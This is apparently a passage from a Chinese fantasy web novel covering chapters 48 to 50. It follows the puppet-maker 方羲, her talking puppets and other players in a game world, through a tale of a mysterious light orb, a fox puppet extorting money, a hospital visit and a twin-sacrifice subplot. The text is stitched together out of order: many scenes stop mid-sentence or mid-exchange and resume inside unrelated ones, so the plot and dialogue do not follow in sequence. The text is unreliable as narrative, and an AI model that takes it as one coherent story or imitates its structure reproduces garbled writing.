“(゜ロ゜) 啊…你说。” “我曾经带领一批最精英的队伍，踏入过失乐园无法封锁之地。从那里出来之后，我失去了一切战斗能力，一切灵感归零，变成了一个虚有图表的废物。” “但宇宙一向是公平的。”江同尘脸上露出一个偏执的微笑，“在那极短暂、覆灭所有的一瞬，我的灵感抵达了穷极。” “哦？”方羲问，“你看见了什么呢？” 江同尘忽然抬起手，取下缠绕在眼部的白色绷带，露出只剩下血红色巩膜，没有瞳孔与焦距的双眼。里面仿佛储存着某些特殊的东西，像是一小段无法被人类解读的影像。 “异端的具象化。” “原来它们也会哭，也会恐惧，像刚诞生的婴儿一样牙牙学语，像不成熟的年轻学生一样痛苦地学习知识。” 江同尘仿佛在忍受着某种巨大的痛苦，在努力回忆那个亘古的瞬间：“异端们盯着一个很渺小的光球，似乎以它为首，害怕着它，听它的话，甘心被它折磨。哪怕被打得再惨，也不敢反抗。” “它能够精确地使用人类语言，模仿和人类相同的事，吃饭、睡觉、工作、学习……明明这些对异端来说毫无意义，它却坚持恪守着这种规则。” 九百号听着听着，忽然眉头一皱，忍不住看了看一千零一，一阵强烈的怪异感油然而生。 “它肯定是一只最为聪慧的异端！但是迄今为止，明明我见过这么多种类的异端，我每天都在查看军用手环回溯的真实战场，去寻找有没有从未被记录在图录上的新型异端……但是这么久以来，却没有发现有任何一只异端，和那个光球有丝毫相像之处。” 方羲想了想问：“听上去，它好像没有攻击你。” 江同尘心脏漏了一拍，有些惊愕收藏家的敏锐，便点了点头：“是的。我看不到它的外形是什么样子，我的大脑无法解读这究竟是怎么样的一个怪物。但是……我能感受它的情绪，这只异端对我没有敌意。” 九百号听懂了，开始嘎嘎大笑，笑声极为猖狂、嘹亮，不料马上被方羲弹了一下脑袋，只好委屈地闭嘴。 江同尘的语气逐渐带上几分不可思议，努力组织着语言，试图描述当时那种荒诞的场景：“它甚至主动走过来和我【说话】，说第一次见到有这么多人过来它的地盘做客。还问，我们身上有没有特产，或者一些好玩的东西，它可以用其他东西交换。” “但当时的我们，已经一无所有。” “一切储存在军用手环的物资，已经彻底消耗得一干二净，甚至回不回得了失乐园，也是一个未解之谜。” “我只能这么坦白地回答。” 然后，这颗渺小的光球，嚣张地坐在无数高危异端头顶上，看了看这群半死不活的宇宙游客，同情地摇了摇头。 光球、上帝、无法被解读之生命，认真思考了两秒。 “我送你们回去。” “我给你们一点路费，一张地图，还有足够你们返回家园的食物。” “代价是——再来拜访我一次，带上任何一切有趣的玩具。”它说，“我在这里真的很无聊，玩具越多越好！” 身处比高危副本更恐怖、不被失乐园覆盖的未知之境，江同尘根本无法判断自己听到的【人类语言】是否真实。 这只异端是不是真的在说送他们回去，还是说，那只是自己大脑扭曲美化过后的话语？ 失乐园积累了上百年的战场经验，任何一名玩家都知道，和异端进行约定、交易，绝对是一场回不来本的投资。 甚至那可能只是异端蒙蔽人类的语言陷阱。 光球问：“你怎么不说话？” 彼时的江同尘转过头，看了看几乎全军覆没的队友，就连最强大的猎人秦淮月，也在倒在地上，痛苦地喘息。 可是他们别无选择。方羲回到个人空间，带上喷壶，顺着上次走过的路线，前往旧世界。 中途路过某棵似乎在沉睡的大树时，方羲想了想，照例举起喷壶，给这棵树哗啦啦地浇水。 成功把沉睡的大树吵醒！ “不能和黑天鹅说吗？”方羲相当直白地说，“告诉他们，你才是傀儡的主人。” “……对不起，收藏家。我不能这么做。” “为什么？” “因为二选一。”梨花雪轻声说，“而我，是输的那个，不被选择的那个。” 说起来，梨花雪的日记本上，有一句话让方羲印象很深，那个关于444号夙愿的口号。 这家伙是谁？怎么看上去像个社会恐怖分子？莫非还是一个邪.教的创建者？ 方羲在心底怪异地想。 回头问问九百号好了。 “那么，谁是投票的人？”方羲纯黑色的眸子看着她，微笑道，“我是一千零一，请告诉我吧。” 梨花雪这次沉默了很久很久。 与其说她在沉默犹豫，倒不如说，真相被戳破的茫然，大脑一片空白，二十一年活着的一切，齐齐在一刻汇集起来，根本无法思考。 她应该直接说，这是双胞胎之间的决斗，一个约定而已。 不应该犹豫的。 不应该沉默这么久的。 可坐在面前的，是真真正正的先行者，是444号的同类。 收藏家的灵魂好耀眼。 于是，梨花雪说：“我的同类们，还有制造我的研究员。” “很多人吗？” “数量十万为起步。” 大树瞪大眼睛，有些恼怒地看向罪魁祸首，但发现是方羲，气一下子没地方发泄，咕哝道：“好吧好吧，原来是你，我还以为是哪个捣蛋鬼……” 方羲继续哗啦啦浇水。 “够了！够了！”大树喊道，“树不用这么多水的！” 方羲遗憾地收回手。 和大树聊了几句，方羲继续哼哧哼哧赶路，因为现在是晚上，她手里提着一盏明灯，用来照明。 但不知道为什么，天上的星星和月亮特别特别亮，像是特地照到方羲身上一样。 手里的明灯反而没有这些月亮和星星有用，方羲嫌拿着麻烦，便把这个工具丢回一千零二肚子里。 “这里好黑啊！” “我们这是要去哪？” “刚刚那棵树为啥会说话？那不是人类的灵魂吗？” “你又不理我！为什么不理我！天啊，我看到你什么表情了！你这是嫌我吵吗？！你怎么能嫌我烦呢？” “等等，这荒山野岭的……你不会是想把我卖了换钱吧？” 黑壳书觉得自己的猜测非常有道理，骤然爆发一阵惊恐的尖叫，直接吓飞在丛林中沉睡的小鸟和飞虫。 方羲很无语。 这颗眼珠子的想象力为什么能这么丰富？ 一路上耳边听着一千零二牛头不对马嘴的碎碎念，她们终于来到了“旧世界”的入口。 方羲再次逮住一千零二，这次可方便多了，终于有一个会飞的人偶，她就不用给自己绑绳子了！ 一千零二转了转眼珠子，看了看底下深不见底的虚空，抗拒地说：“不！我怕高！” 方羲：“什么？” 一本天天在空中飘来飘去的书，在这里跟她说怕高？ 方羲想了想，只好把一千零二抱在怀里，在第一层的阶梯边缘，直接一跃而下。 算了。 反正，她上次跳下去的时候，也是坠落了很久很久才掉到云朵上。 指望一千零二带着她飞下去，不如直接跳好了。 于是傀儡师咬了咬牙，心一狠，答应了【光球】。 结果是，在光球的照顾下，这批精英队伍，在短短时间之内，全部莫名其妙恢复了健康，并收获了一大批物资。 其中还有一张欠条，借债人的名字，是一团无法被人类肉眼解读的深邃浓雾。 他们在修整过后，带上来历不明的物资，决心返回安全的失乐园。 除了江同尘，所有首席玩家的意识都恍恍惚惚，根本不知道自己是谁，身处何处，只是麻木地听着江同尘的命令。 直到他们彻底回归失乐园大地的一刻，所有游离的思绪，才在这一刻恢复正常。 但走在最后团队的眼睛，历史灵感最高的傀儡师，在穿过已知与未知的分界线之前，忽然转过头，向遥远的亘古看了一眼。 “白鸦，你还在这里愣着干什么？！”踏樱大声说，“你不是还要去捡材料吗？！再不早点去，天都黑了！！！” “哎，队长，你看那是不是艾莉克萨？”宋白玉试图转移话题，“咱们先去看看吧？” 一夕眯起眼睛，警惕地盯着黑心狐狸。 秦淮月也面露古怪，她发现“狐狸”的言语之间似乎带着某种强大的诱惑力。哪怕它的收费听上去很离谱，也毫不掩饰自己坑人的恶意，但她的内心居然产生了一丝微弱的、想要付钱的动摇。 或许这是狐狸傀儡的力量。 方羲回过神来，任由踏樱把自己拉走，但没走远几步，她又停下了，然后主动转身回到狐狸面前。 狐狸故作惊讶地问：“哟，魔王。你这是改变主意了？” “事实上，我有一个提议。” “什么？” 方羲打开实时地图查看，上面还有大片大片的灰色区域，需要玩家亲身探索，才能彻底点亮。 不过。 方羲的目光缓缓落在左下角的坐标数字上，总觉得这串数字似乎有些眼熟。 左眼又在跳动。 方羲略有茫然地抬起头，看着四周过分蔚蓝的天空，看向更深之处。 一片密密麻麻的数据电流，和一所天空岛。它与方羲所处的世界隔着不可跨越的屏障。 但又很近。 “啊……是黑天鹅的浮空岛啊。”方羲喃喃自语道。 真实与密匙玩家寄宿之处，似乎与先行者的遗迹近在咫尺。 方羲在游戏面板敲击了三个字。 长而巨大的龙身，一甩尾巴。 起飞。 穿越云层。 凛冽的风声呼啸而过。 【命名成功！】 【您的名字即为旧世界之名。】 第 48 章 第 48 章 【★非专业收藏家一号终极粉丝团★（1121）】 【时间：星历2515年8月28日】 【群公告：碍于某种不可言说的原因，本群已开启实名模式，请各位玩家友好交流。】 “社牛不想说话”已加入本群。 【社牛不想说话】：哦豁，这就是你们偷偷说我坏话的大本营？ 【宇宙最酷】：？ 【怪物观察者】：什么鬼？赶紧把这货踢出去，看着碍眼@管理员 【社牛不想说话】：（咬牙切齿） 【宇宙最酷】：话说回来，社牛你能不能把收藏家拉进来？如果她下次还需要猎人组队，直接在群里喊一声岂不是很方便？ 【怪物观察者】：就是就是，咱们这些人里，就你和收藏家联系次数最多！！！（咬手帕） 【社牛不想说话】：我去问问，但是收藏家很少在线，她也不怎么回复我的消息（头秃） 【宇宙最酷】：收藏家什么时候可以做新的猫猫！我前两天看见缅因猫猫了，它的体型是真、真的大……又凶又萌的，不过脾气比艾莉克萨温柔一点。 【怪物观察者】：笑死我了，这就不得不@一天只吃八顿饭，我刚刚还看见她在别的水群哀嚎，狸花猫又不知道跑哪里去了。 【一天只吃八顿饭】：好崩溃……我的花花又丢了！！！！急急急急急，哪位苍天大好人在副本里遇见我的猫猫，球球你们帮我转告一声让它回家！！！！球球了@全体成员 【社牛不想说话】：花花？服了，饭桶你这起名水平……（欲言又止） 【宇宙最酷】：（乐）傀儡肯定能听见使用者的呼唤吧，我估计狸花猫猫就是单纯不想理你。 【一天只吃八顿饭】：（崩溃）（发癫）（发出意味不明的怒吼）（随机抓住一个玩家吃掉）（嘎嘎大笑） 【半块姜饼】：没看见狸花猫，我倒是遇见收藏家的橘猫了。 【社牛&宇宙&观察者&八顿饭&】：？？！！ 狐狸哼了一声，扭头质问方羲：“难道你要帮这些帝国人类吗？” 方羲摸摸下巴，无视了野薄荷求救般的目光：“这我也没办法，但我可以借你们一点钱。” 于是，方羲翻了翻自己的小钱袋，里面还有100枚银币（踏樱打工赠送）和100枚铜币（方羲私吞所得）。 因为有四只大钱包在，方羲这两天都没有机会花自己的钱。 野薄荷面露期待。不过006号系统给她发了房间坐标，跟着提示找就是了。 “啧啧，这些玩家伤得还怪惨的。”九百号从方羲肩膀上，借力跳到窗边，整个人贴在玻璃窗上，瞪大老花眼，好奇地看着里面的情形。 方羲没回话，而是抬起手，抓住在半空中呼呼大睡的一千零二，然后疯狂摇摇摇。 “一千零二，快醒醒。”方羲冷酷无情地说，“你该上班了！” “不、不要啊！”一千零二听见某两个字，顿时惊醒，绝望地逃出方羲的魔掌，并胡乱地飞来飞去，甚至在天花板砸出了一个小坑，疯狂尖叫，“我不要上班！” 方羲抬头看了看天花板的黑坑，沉默。 九百号嘎嘎乱叫，幸灾乐祸地说：“一千零一，看来你要赔钱了！” 方羲十分心塞，但还是让欧律狄刻估计一下这个公共设施的损失，回头把罚单发到她账号上。 “谁在走廊外面乱嚷嚷，不知道这里是静养区吗？”旁边一扇门忽然被推开，走出来一名长相气质都相当清冷、说话语气却很嘴毒的密匙玩家，“安静点行不行……等等，您是？” “就是就是，让我看看是哪个不懂事的小崽子在这捣乱！！！”矜贵青年背后还传来另外一道男声，“不是，陈妙生，知道你康复得不错，但你挡在这里干嘛？” “一千零二。” 黑壳之书不情不愿地飞回方羲边上，乖巧闭嘴。 “什么一千零二？”徐千秋终于艰难地挤了出来，看了看陌生的方羲，又看了看泛着星空光泽的黑壳之书，忽然想起了什么。 “啊！！！收藏家？！” 这名首席玩家骤然爆发出一阵尖叫，比刚刚的一千零二还要夸张。 病房内也隐约传来一阵骚动。 猎人陈妙生也猛地反应过来，无奈地看了一眼不太靠谱的徐千秋，只好替他转身回去安抚那些受惊的病人。 不料，这名情绪起伏过于夸张的造梦家，忽然上前，伸出手，目光炯炯地看着方羲：“哎哟，收藏家，您好您好！我是造梦家徐千秋，一名聪明绝顶的帝国专业级医生！我仰慕您大名很久了，没想到能在这里意外见到您……” 方羲茫然地回答：“(゜ロ゜) 啊，你好……” 她礼貌地握住徐千秋伸出的手，但交握的时候很短很短，仿佛只是轻触了一下，就立刻收了回来。 徐千秋心想，收藏家的性格似乎有点冷漠，但这很正常，很多傀儡师都是这样的。 毕竟这是横空出世的先行者，言行举止有多么怪异，都可以称作正常！ 而此时，猎人陈妙生根本无法制止病房之内，那些想要出来偷看收藏家的真实玩家。只好允许他们走出来一小会，但要求收敛一点，维持礼貌，至少别太丢脸。 于是住在A701号折叠病房的上百名病人，刚刚听见听见徐千秋在积极询问：“第七层是浮空岛最主要的治疗区，我刚好是这一层的最高管理者！您今天过来，是有什么事情要办吗？需要我帮忙吗？” 哈？太阳从西边出来了吗？ 病人们在心里暗暗吐槽，一向以摆烂摸鱼、爱干不干、在小事上能偷懒就偷懒的徐千秋，此时居然摆出一副兢兢业业的态度，简直是天方夜谭！ 但他们到底还是恪守着某种道德情商，没有真的跑出来搞事，而是打开窗户，假装自己在望风，又或者悄悄趴在房门边上，好奇地看着“收藏家”。 横空出世的先行者。 杀死恶魔的人类领袖。 更是，挖掘下一代蒙尘新星的伯乐。 “这个嘛。” 方羲察觉到四周落在自己身上的数道视线，侧目看了看，发现是一群在真实战场艰难挣扎，撑着一口气回来，重伤到再也过不上正常人生活的真实级玩家。 和首席、密匙玩家不同，他们碍于天赋的极限，实力与前两层断层太大，心理承受能力也弱上很多很多，往往死伤率更高。 很多时候，帝国人类可能记住的只有那几名顶在最前面的精英前哨，而忽略驻守在后方，干着各种脏活累活的真实玩家。 然后，他手里被塞了100枚铜币。 方羲问：“这样够吗？” 狐狸在旁边煽风点火道：“魔王，你真是个小气鬼。” 野薄荷：“……够、够了。” 但贪婪的人类还不知足，他又把求救般的目光投向曾经的好友：“一夕，我们……” 一夕撇撇嘴：“滚。” 团队养一只白乌鸦就够了，怎么还能再来一只？ 秦淮月和宋白玉也是笑而不语，似乎真的不打算出手相助。 而造梦家踏樱……也只是轻轻瞥了他们一眼，并没表露出什么帮忙的意思。 最终，这支新晋小队还是把卖装备获得的钱，全部给了某只黑心狐狸。 野薄荷绝望地说：“早知如此，我们今天早上就不过来凑这个热闹了！” 踏樱神色微动，好奇问道：“你们早上发生了什么？” 狐狸收好这些银币，主动替人类解释道：“事情很简单，某些愚蠢的小镇居民，居然想要推翻黑山羊的统治。于是神圣广场爆发了一场骚乱。虽然黑山羊不杀人，但他们是唯一混入供奉人群的真人类。所以……在混战里，他们遭遇了其他异端的袭击，差点丢了小命。” 一千零二又飞了回来，桀桀桀笑了好几声：“真惨！” 狐狸继续说：“说实话，你们那点微薄的财产不足以支付保护费。为了救你们这十条性命，我用了足足十七次快速治疗魔法和两次起死回生禁忌术。但看在第一次见面的份上，我就不要求这么多了。” 一千零二的笑声忽然卡壳了一下，她似乎也被狐狸的黑心程度惊到了：“这、这……真惨啊……” 野薄荷泪眼婆娑。 目送这只可怜的新晋小队离开后，宋白玉忍不住感慨道：“看来，梨花雪想要趁早离镇探索的计划，彻底泡汤了。” 但宋白玉说着话的时候，也小心翼翼地瞥了一眼黑心狐狸。 这究竟是什么样的傀儡？ 居然这么能坑钱？事实上，这一届新晋玩家的资质只是回归了正常水平线。只是在前两届的天才如云对比之下，显得有些惨烈而已。 聊着聊着，方羲忽然发现饭菜没那么热乎了，立刻丢下游戏面板，继续扒拉米饭。 说起来，之前的“King”不是说，在游戏里吃饭，只能给现实中的身体反馈10%的能量吗？怎么她这两天觉得，在游戏世界里吃完饭了，回到现实世界里，的确有明显的饱腹感。 方羲一边吃着饭，一边思考这个问题。 思考了半个小时，也上网查了查，才发现自己患上了“游戏投影现实”的严重后遗症。 黑天鹅的搜索结果页建议，针对这种情况，尽量早日退役，回归正常生活。 方羲想了想，其实觉得这种情况其实还蛮方便她的，这样就不用下线的时候，再吃一顿饭了！ 吃完饭之后，方羲从一千零二肚子里，扒拉出四张【填写信封即可瞬间送达的信封】。 在收件人的位置逐一写上老鹰、知更鸟、北长尾山雀、啄木鸟，分别寄给它们的首领，并催促不管有没有找到迷失的玩家，现在快快回家，以及路上注意安全。 考虑到小卖部的存货卖完了，全场空空如也，方羲敲了敲断墨的黑笔，又又从一千零二肚子里取出一张信封，决定给【乘务员】再写一封问候信。 方羲打算从它手里再进一批残肢材料，毕竟这是既不花钱又不花力气的免费进货渠道，不要白不要。 做完这一切之后，方羲忽然被春醒戳了戳。 “怎么了？” “下面有一只人类。”春醒提醒道，“说是找你的，小黑猫给她开门了，现在在休闲区等你。” 方羲看了一眼时间，发现的确快到与“八千棋局”约定的七点了。 于是方羲推开后展厅的门，来到休闲区的区域。 但和预想中不同的是，来的并不是两个人，只有一名女性玩家。 她好奇地端详着桌子上咕咚咕咚冒着诡异紫色气泡的玻璃水壶，双眼像是星星一样闪闪发亮。 听见身后推门的声响，“梨花雪”才慌乱地调整身体的方向，转过头来。 ……这是谁？ 愣了半秒，梨花雪才忽然反应过来。 在没转身过来的时候，她心里以为这次进来的还是一千零二，看似怼天怼地很好拿捏，实则多疑排外，一点话也套不出来的一千零二。 却没想到，一转头看见的却是，从艾莉克萨出现的第一天，她就开始仰慕的傀儡师。 她究竟是怎么创造出这么完美的傀儡的？ 又是怎么在短短三个月之内，不仅连续建立了投影现实的锚点，甚至还杀死了连最精英的前哨们，也无法战胜的恶魔呢？ 原来这就是从小听到大，童话故事中的先行者……穷极一生，可能也追不上的天才。 哪怕……只是见上一面，悄悄触摸一瞬光辉，也够了。 收藏家穿着很普通的常服，脸上却没有一丁点笑，和情报中一样，很冷漠。目光沉沉地落在她身上，像是在审视。 一下子，梨花雪的大脑彻底炸成一片空白，双手紧张扭捏地抓着裙子，紧张地看着“收藏家”，想努力说点什么，比如打个招呼，自我介绍一下。 但她却紧张到，一个字也说不出来。 怎怎怎怎么办？？？喉咙为什么说不出话？！！献祭的日子为什么不早点开始！！！好想早点去死，收藏家会不会觉得她没什么礼貌？？！！ 事实上，方羲只是单纯好奇盯了梨花雪一会，发现对方的相貌和八千棋局相差无几，同样的深红色长发，苍白的皮肤，还是同一条设计的白色长裙。 虽然说是双胞胎，但有必要连游戏世界虚假的脸，也捏成一样的吗？ “好了。”方羲跃跃欲试，“我们去拿那些供奉吧。” 狐狸正想转身离开，听到方羲这离谱的话，忍不住一起跟了上来：“什么意思？你要拿走小镇居民的供奉？魔王，你也太没道德良心了吧？” 但方羲没理他。 在巨大的黑山羊石像底下，摆着二十瓶今天刚挤出的新鲜牛奶，十篮早上刚刚烤好的面包，一大把香料，还有很多因为太阳照射而显得有些干巴巴的野生莓果。 “去寻找迷失的玩家。” 大白鸦放下月光石，率先飞向高空。 而矫健强壮的老鹰，紧随其后，朝着另一方向离去。 停驻在方羲手腕上的彩色鹦鹉，是在场唯一会说话的鸟类，它恋恋不舍地说：“主人！主人！我很快回来！” 羽毛泛着美丽光泽的知更鸟，指挥同伴一个个走入神秘的黑.童话之书。 森林医者们也一脸严肃，张开羽翼，没入黑色丛林的最深处。 唯独白色小肥啾慢了一拍，它们歪了歪脑袋，看着一个个离开的伙伴，才恍然大悟。于是扑腾扑腾翅膀，成群的小白团也离开了人偶师的视线。 【您的傀儡已离开领域范围。】 【请耐心等待群鸟的归来。】 第 49 章 第 49 章 春醒顺利地宰了一笔不认识的玩家，心情极为愉悦，赚钱这件事甚至比吃饱让她更快乐。 真没想到，这里的人类这么笨蛋，难怪连一贫如洗的主人也能赚到钱。春醒深沉地想。 藤蔓般的头发长长地飘动，几乎侵占了整个副本领域。 她收回自己长得几乎没有边际的头发，对蹲在一边的昏昏欲睡的猫猫说：“吃饱了！我们去商业街买东西吧！” “喵嗷嗷。”晨乌猫猫张大嘴巴，打了个哈欠。 藤蔓人偶头顶圆形的猫猫，在长满野花绿草的异端尸骨之上，轻轻一踏，敲碎副本最后的心脏区域。 【锚点已建立。】 【锚点建立者：替行者“春醒”】 【现实参照坐标：帝国低等区域017号放逐星】 方羲思考了三分钟，感觉人应该不会聪明到这种地步，便直接将刚刚可能暴露身份的对话抛之脑后，注意力转移到其他地方上。 “我看看地图……”方羲嘀咕道。 一夕眼神古怪地看了看方羲和秦淮月，又看了看貌似置身事外、却又好像在思考着什么事情的踏樱和宋白玉。 她根本听不懂方羲和秦淮月刚刚的对话。 好像这其中隐藏着什么特殊的深意，但一夕绞尽脑汁思考了一会，还是没想出个所以然。 毕竟，要求这只说话直白、依赖拳头说话的疯犬，去剖析刚刚那段充满隐晦暗示的对话，实在太为难她了。 踏樱注意到一夕脸上的疑惑，但只是轻轻瞥了她一眼，就转过了头，罕见地没主动为她翻译。 一夕深深地皱起眉头，心底莫名其妙闪过一阵落寞。 就好像被排除在外了一样。 这种感觉并不好受，因为一夕很少有顾及队友的机会，以前在军校大家都是直来直往、不耍阴招，也没有什么难以解读的潜台词。而到了失乐园里，一夕直接孤立了全世界，对她来说，根本没有和其他玩家交流感情的必要。 但现在情况不一样了…… 就在一夕深陷纠结的时候，方羲忽然咦了一声，“这附近好像有个武器铺，我先去那里逛逛。” 这么说着，方羲的脚步一拐，直接偏离了原本前往神圣广场的方向。 四人都愣了一下，全体目光呆滞地看着方羲脱离轨道的背影…… “总感觉这种事情，好像在哪里发生过。”宋白玉喃喃道，一边快步跟上去一边惊慌地喊道，“哎！队长，你等等！别丢下我们！” 其余三人也跟了上去。 店铺头顶挂着“十三号武器铺”的招牌。 方羲正想走进去，但不知道是不是她的脚步声太重了还是怎么，竟然惊醒了看门的大黄狗。 “汪！汪！” 大黄狗龇起牙，原本呆头呆脑的狗脸，顿时像被触发了什么开关，变得相当凶神恶煞，朝着方羲疯狂汪汪叫。 方羲伤心地想，多可爱的狗狗啊！ 可惜还是异端扮演的……如果是真的狗，她就直接上手抚摸那油光水润的毛皮了！ 一夕听见大黄狗尖利的叫声，下意识召唤出武器，但她马上被踏樱的洋伞戳了戳小腿。 “白鸦没让你做什么。”踏樱说，“你克制一下自己的攻击欲，别被小镇的居民当成异类了，这里还不是战场。” “可你也拿着武器。” “我的不一样。”踏樱微笑道，“至少我的武器从表面上看来只是一把普普通通的伞，而你的……你明白了吗？” 一夕只好不情不愿地收起了长枪。 宋白玉惊奇地看了一眼踏樱，真是一物降一物啊。 “汪——汪——” 大黄狗还在嗷嗷叫。这种手段的确搬不上台面，就和血腥玛丽留有后手的里世界皮箱一样，被黑天鹅加了层层叠叠的权限封锁——所以在梨花雪的情报网中，难以了解到言丹青与其团队的信息。 但许微澜口中的话，事实上只是夸大说法，她的认知与客观现实截然相反。 这群经由改造的人类，神志早已不清，经常扭曲对外界的认知，才会误以为其他密匙玩家厌恶自己。 就连傀儡师言丹青也这么认为，所以他不太敢上前搭话。 在他眼里，收藏家是一名相当光明磊落的傀儡师，和自己这种阴沟里的老鼠截然不同。 言丹青不留痕迹地看了一眼梨花雪，忽然想到新星的背景来历。 这恐怕也是他们被安排过来负责辅助新星的真正原因吧。 那名在未知之境窥见了神明一角，却因此失去了双眼的傀儡师……恐怕是她的意见，才让楚长官改变了辅助新星的人选。 但梨花雪忽然手推起轮椅，似乎想往方羲的位置移动。 两名首席玩家在心底吃了一惊，左看看右看看，最终还是搭话的渴望战胜了某种隐晦的自我厌恶，悄悄跟上梨花雪。 “一千零一，那几个人怎么看上去像是在找你。”九百号戳了戳方羲，提醒道。 正往电梯那边走的方羲，脚步一顿，茫然地看过去。 从来不甚在意周围细节的某人，这才注意到梨花雪原来在附近，身边还跟着两名她不认识的首席玩家。 “收藏家，我……”梨花雪一脸紧张，想努力说点什么，很多未尽之语却卡住喉咙里，就和第一次见面那样，连一个礼貌的打招呼也做不到。 “啊……你看上去状态不错。”方羲伸手摸了摸梨花雪的头，又看了看旁边两名首席玩家——其中有一名傀儡师，她倒是第一次见。 不过，有齿轮卡壳的声音。 灵魂被灌溉进了不合时宜的机油，身上仿佛带着一串生命倒计时，滴滴答答地响着。 现在只有心脏被改造成了蒸汽齿轮，但恐怕不久以后，他会在其他器官上逐步试验，把自己本身的存在也作为替行者之一。 而他旁边的猎人队友，似乎也愿意作为人类改造为替行者的实验。脸上有如人偶一般的裂痕。 似乎注意到方羲好奇的目光，言丹青忽然意识到——收藏家根本不认识风评一向不太好的他们，因为哪怕是打量的目光，也没有参杂丝毫褒贬，只是在单纯地注视。 原来这就是……光明磊落的先行者。 “收藏家，您好。”言丹青微微欠身，脸上露出一个优雅绅士的微笑，自我介绍道，“我是傀儡师言丹青，旁边这位是我的老队员许微澜——我们负责辅助新晋玩家梨花雪在进入真实试炼之前，填补所有一切缺失的游戏经历。” 方羲想了想，从一千零二肚子里掏出一大把苹果糖，数了一下，给梨花雪五个，给两名首席玩家分别十个。 “一点见面礼。”方羲说，“对你们来说，应该能用得上。” 齿轮卡壳的声音一时间更响了。 原来如此，生命特质同样包括了改造的一环，这是他们被黑天鹅选中为“辅助梨花雪”的理由吗？ 只不过，他们与双胞胎之间，存在本质上的区别。 前者是为了人类伟大事业，在权衡利弊、充分理性思考的情况下，也心甘情愿地奉献一切。 而后者的献祭，不过是邪教组织洗脑的产物。 “抱歉，我现在有事得忙，下次见。” 一旦方羲想要往里面走，大黄狗就会立刻挡在她面前，像是铜墙铁壁一样，不许方羲进店。 两名首席猎人对视一眼，正想上前替方羲驱赶这只大黄狗，却见她从一千零二肚子里翻出一根肉骨头，直接往店外的街道一丢。 大黄狗的脸色瞬间转怒为喜，一边嘤嘤叫着，一边追向肉骨头跑开。 而躲在门口偷听、一直没出来露面的武器铺主，顿时大惊失色！ 这只不中用的大黄狗！ 怎么这就临阵脱逃了？！难道就留着它一个异端应付世界上最讨厌的人类？！ “叮铃——” 在铺主绝望地注视下，门最终还是被推开了。 方羲脚步欢快地奔向【武器成品】的货架。 “喂！”一千零二看铺主龟缩在前台，不出来招待客人，立刻骂骂咧咧道，“你这家伙怎么回事？为什么要躲在这里？送上门的生意都不做？是想倒闭吗？咳、咳咳！什么情况？居然这么多灰尘！！！不会八百年都没打扫过吧？这究竟是什么破店！我看还是趁早倒闭吧！” 一千零二的骂声回荡在整间灰扑扑的武器铺。 铺主被骂得脸色惨淡。 四人面面相觑，都暗自捏了一把汗。 一千零二的性格实在太招敌了，很难不说她是来砸场子的。 虽然夏青禾性格也有些小恶劣，但那更像少女中二病时期衍生的叛逆习性……至少她不像一千零二这样，逢人便咬一口，怼天怼地怼空气，什么都看不惯。哪怕是好人也能被她挑出个八百个毛病，憎恨世界到了一个不可理喻的地步。 专属系统的声音倏忽响起。 斗力吗？ “那么，下次见。”披着暗绿色长发、拥有精灵之眼的人偶微笑道。 情感丰沛的春醒，能够理解密匙玩家究竟在疑惑什么。 哪怕人偶师身陨，她也不会像寻常傀儡那样，轻易化作碎屑死亡。因为她被赋予了最伊始纯粹的一缕灵魂。　　但藤蔓人偶并不打算告诉他们，因为这是主人的秘密。忠诚的人偶永远不会做出任何背叛创造者的事情。 年幼的、伤痕累累的主人曾经对春醒说。语气笃定。 “你是一个亘古又美丽的生命。” 她一点点教会春醒该怎么使用球形关节走路、奔跑，一个字一个字地教会她说话。 虽然，人偶师已经把这些事情忘记了。 第 50 章 第 50 章 方羲开始目送群鸟的离去。 实际上，这些群鸟数量的确还不够多。但也不能一味闷头制作，而不顾及实际效果。方羲打算等待第一批群鸟的归来，再继续根据救援的情况，调整接下来的制作进度。 方羲转身回到小木屋，躺在柔软的沙发上。 方羲开始摸鱼。 方羲打开游戏面板。 方羲被七天没有打开过的9999+后台私信彻底淹没。 方羲大受震撼。但是，1002……收藏家为什么要给她起这个名字？为什么偏偏是接着1001号先行者之后的数字？ “一千零二，我可以向您提一个问题吗？”秦淮月忽然问。 “豁。”不管是怎么样的人类，沉默的、话多的、热情的、专注认真的，一千零二一律平等对待，不客气地输出道，“凭什么？我为什么要回答你的疑问？我有这个义务吗？没有！因为我是仅次于上帝的伟大眼珠子！没有存在能强迫我做不喜欢的事情！” 踏樱和宋白玉呆滞了一下。 因为秦淮月是最强大的猎人，没有人会不尊重她……但如果换作是收藏家的傀儡，那一切都有点难说了。 这、这该帮谁说话？ 一夕皱了皱眉头，双眼凶狠地瞪着一千零二。 “你这什么眼神？！”一千零二立刻骂道，“臭人类，我就是不回答！我呸！瞪我也没用！” 秦淮月觉得有点哭笑不得，拍了拍一夕的肩，重新看向一千零二，微笑道：“抱歉，看来我冒犯了您。” “这还差不多。” 一千零二吃软不吃硬，看在秦淮月使用了敬辞的份上，勉强放过了她，但也不打算真的回答所谓的问题。因为打工眼珠子奉行苦是吃不完的、别没事给自己找事之原则。 然后，一千零二继续给猫猫讲道理，试图让猫猫理解她只是一颗脆弱的眼珠子，不能随便攻击。 宋白玉看了看时间，一千零二和猫猫的谈判已经花费了半个小时，现在是六点整。于是他先行告退，因为该给收藏家……哦不，给其他队友和傀儡们准备早餐了。 踏樱和一夕也受不了一千零二的无差别攻击，找了个借口溜去厨房帮忙。 反而是秦淮月，若有所思地留了下来，一直在认真倾听一千零二的每一句骂骂咧咧。 时间来到了七点二十五分。 方羲恍惚地睁开眼睛。 因为房门在以一种相当有节奏的规律，一声一声地响。 方羲翻了个身。经过初步的医疗诊断，想要治好陈据雪的双腿，的确很简单，因为那并非异端所致。 但瘫痪得太久，所以恢复起来也需要一段时间。 梨花雪想要登录游戏，两名首席玩家也没拦着，反而在这几天经常带着她在浮空岛到处闲逛，领着她认认路。 “我的游戏等级……”梨花雪忽然发现了什么，有些惊愕地说，“为什么是五级？” “这个嘛。”许微澜笑着说，“既然八千棋局用你的作品升到五级，那不就意味着你本身就有五级的实力吗？我们在后台简单修改了一下，你现在自然就成了五级啦。” 毕竟，初始灵感就拥有八千的梨花雪，有什么理由升不到五级呢？ 梨花雪愣了愣，低声说了句谢谢。 “我们先在核心区走走吧。”言丹青说，“我今天才发现，浮空岛面积还是蛮大的，走了这么久居然都没逛完……哦，到了。第一层的话，新晋玩家在这边活动得比较多。不过他们现在都在竞技场，所以现在一个人也没有。” 